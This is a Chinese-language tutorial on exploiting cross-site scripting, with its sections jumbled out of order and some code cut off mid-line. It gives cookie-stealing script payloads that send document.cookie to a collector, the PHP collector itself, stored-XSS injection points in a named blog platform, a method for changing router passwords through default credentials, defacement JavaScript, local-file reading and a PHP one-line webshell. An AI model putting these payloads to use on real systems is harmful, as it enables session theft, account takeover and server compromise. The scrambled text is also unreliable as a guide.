跨站脚本攻击实例解析
在存在 XSS 的地方嵌入上面 php 文件,方法与 cookie 劫持一样。由于现在 blogbus 打不开,可能又是 服务器搬迁。这里我以 上的漏洞为例进行测试, Firefox 下的情况如图 6 所示:
图6 谷歌浏览器 Chrome 情况如图 7 所示:
图7 搜狗浏览器下的情况如图 8 所示:
跨站脚本攻击实例解析
作者:泉哥 主页:
前言 跨站攻击,即 Cross Site Script Execution(通常简写为 XSS,因为 CSS 与层叠样式表同名,故改为 XSS) 是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的 HTML 代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。 很多人对于 XSS 的利用大多停留在弹框框的程度,一些厂商对 XSS 也是不以为然,都认为安全级别 很低,甚至忽略不计。本文旨在讲述关于跨站攻击的利用方式,并结合实例进行分析。
图3 很明显,我们已经成功窃取到 cookie 了,剩下的事相信大家都知道,这里就不再赘述。 二.渗透路由器 对于处于内网中的用户,我们可以利用XSS来更改路由器密码。我们可以借助默认的密码来登陆路由 器,比如URL:http://admin:admin@192.168.1.1,其实很多路由器都是使用默认密码,我这里这台也 是如此,直接以admin作为用户名和密码。首先我们先利用Firefox插件Live HTTP headers获取请求头, 如图 4 所示:
4: 基于 webkit 内核:google chrome、遨游 3.0、safari 等浏览器对本地执行的 ajax 权限没做任何访问限制.
以上测试是利用 ajax 来读取文件的。但是我在 windows7 平台上用 php 测试各个最新版浏览器时发现: 1、 Firefox 3.6.10、搜狗浏览器 2.2.0.1423、Maxthon 2.5.14、IE8、Chrome 7.0.513.0、360 浏览器 3.5、 世界之窗 3.2、TT 浏览器 4.8 均可跨目录读取本地文件。 2、 Opera 10.70 不允许读取本地文件,若是读取本地文件会直接给出."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件
header("Locatio 下 来 我 们 访 问 博 客 首 页 , 我 这 里 以 为 测 试 地 址 , 访 问 后 我 们 打 开 http://localhost/cookie.txt 看看cookie.txt 文件是否被创建并写入数据,结果如图 3 所示:
四、Hacking HomePage 相信对于很多初学 Hack 的朋友,都会对那一张张的黑页独有情钟,尤其是当前中美黑客大战中,中 国人挂在白宫网站上黑页,让人至今记忆犹新!本节主要就是利用 XSS 来黑掉别人博客主页,但这 里的黑页与入侵服务器来修改主页有很大区别,利用 XSS 来黑页其实并不是修改服务器上的页面, 它只是通过 JavaScript,CSS 及其它 WEB 技术来修改页面。这主要就是通过注入 js 代码,然后在后台 执行以达到盗取 cookie 或劫持浏览器的目的,这些代码往往都是一些 HTML 或 JavaScript 代码(往往 是使用 InnerHTML 或者 document.write 命令来动态创建文本,图像及其它数据信息)。在本文编写过 程中,我又发现了博客大巴上的几处跨站漏洞,就在“博客设置”中,这里我们就以其中“基础设置” 下的“自定义 header”一栏为例。我们先在向其写入下列语句: <script src ="http://localhost/1.js"></script> 接下来编写 1.js 代码: document.write("<center><h1><font color=#FF0000>Hacked By riusksk</font></h1></cneter>"); document.write("<center><h2><font color=#000000>Just for test !</font><h2></center><p><img
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
$fp = fopen('cookie.txt', 'a');
//打开 cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer:
漏洞测试 关于对 XSS 的漏洞测试,这里就以博客大巴为例进行测试,最近我也在上面发现了多处跨站漏洞, 其中两处已公布在 WooYun 网站上,其主要内容如下:
漏洞详情 简要描述: 博客大巴存储型 XSS 漏洞 详细说明: 在“个人信息设置”的“附加信息”一项中,由于对“个人简介”的内容过滤不严,导致可在博客首页实现跨站,而 在下方“添加一段附加信息”中,由于对“信息标题”内容过滤不严,同样可导致跨站的出现。
<?php
$cookie = $_GET['cookie'];
//以 GET 方式获取 cookie 变量值
$ip = getenv ('REMOTE_ADDR');
//远程主机 IP 地址
$time=date('Y-m-d g:i:s');
//以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
图5 可见密码已经修改成功!
三、读取本地文件 在不同的浏览器中对本地文件的读取有着不同的限制,之前 XEYE team 曾有过统计,具体内容如下:
1: IE6 可读取无限制本地文件.ie8 以及相应版本的 trident 内核浏览器对 ajax 本地执行时的权限控制得很死的,看 来 MS 对 IE 这类安全风险比较重视。
2: FF3.0.8 及以下版本允许本地执行的 ajax 访问当前目录下的文件内容。其他目录暂无法访问。 3: opera9.64 及以下版本允许通过指定 url 为 file://协议进行访问;如果文件在当前目录下,则不需要指定 file://
协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
但我刚又测试了一下,发现官方只修补了其中一个漏洞(个人简介),而另一个漏洞得在博客管理后 台才能触发,利用价值不大。与此同时我在对博客模板的测试中,又发现了五处跨站漏洞,估计这些 漏洞其实很早就有人发现了,只是没人公布或者报给 blogbus 后仍未修补。这次报给 WooYun 的主要 目的是让 blogbus 修补此漏洞,因为我的博客就在上面!^_^ 其余五处漏洞分别在“编辑自定义模板” 中,由于对代码模块 head,index,index-post,detail,detail-post 等处的代码过滤不严,导致跨站的发生, 分别向其写入<img src="#" onerror=alert("head")></img>,为便于区别,我将提示语句更改为对应的名 称,前三项在首页可触发脚本,后两项需打开文章才可触发,测试结果如图 1、2 所示:
$contents .= fread($handle, 1024); } $contents=urldecode($contents); echo $contents; //$fp = fopen('info.txt', 'a'); //fwrite($fp,$contents); //fclose($fp); fclose($handle); ?>
我测试用的 PHP 脚本(该脚本位于 D:\riusksk\Webroot\reader.php)代码如下:
<?php $handle = fopen("file://c:\sysiclog.txt", "rb") or die("can't open file"); $contents = ''; while (!feof($handle)) {
图8 傲游浏览器下的情况:
图9 IE8 下的情况如图 10 所示:
图 10 360 安全浏览器情况如图 11 所示:
世界之窗情况如图 12 所示:
图 11
TT 浏览器情况如图 13 所示:
图 12
图 13 Opera 下直接给出警告如图 14 所示:
图 14 当然,这些漏洞除了读取文件外,还可写入一句话木马<?php eval($_POST[cmd])?>,为进一步提权提 供条件。
图 1(在首页触发)
图 2(打开文章触发) 对于其它网站的测试基本也是大同小异,除了手工测试外,你还可使用其它一些自动扫描工具,比如 Acunetix Web Scanner……
漏洞利用 一、窃取 Cookie 对于跨站的攻击方法,使用最多的莫过于 cookie 窃取了,获取 cookie 后直接借助“明小子”工具或 其它可修改 cookie 的浏览器(如装有 Cookies Edit 插件的 Firefox)将 cookie 修改为获取的 cookie,这 样即可获得博客的管理权限。 首先,我们在自定义模板的 head 代码模块中写入 <script>document.write('<img src="http://localhost/test.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script> 或者 <script>document.location = 'http://localhost/test.php?cookie=' + document.cookie;</script> 这里我把脚本放在本机上,你可以根据脚本地址来更改上面的 localhost 地址。以上两个均可达到同等 效果,但就隐蔽性而言,前者的隐蔽性会更强些,读者可自行选择,当然也有其它语句可达到一样的 目的,就看你如何发挥了。接下来我们来编写上面的 test.php 文件,它主要用于获取对方的 cookie, 其源代码如下: